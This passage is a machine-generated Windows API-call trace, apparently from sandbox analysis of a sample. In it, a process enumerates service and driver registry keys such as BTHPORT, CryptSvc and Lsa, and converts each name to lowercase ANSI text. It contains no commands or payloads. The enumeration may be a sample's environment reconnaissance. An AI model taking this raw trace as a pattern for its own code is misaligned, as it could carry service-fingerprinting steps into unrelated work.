0x21f1cd0 [0254.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.488] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.488] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.489] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.489] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.489] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.489] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.490] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.490] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.490] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0254.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0254.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0254.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0254.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0254.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0254.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0254.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0254.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0254.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, 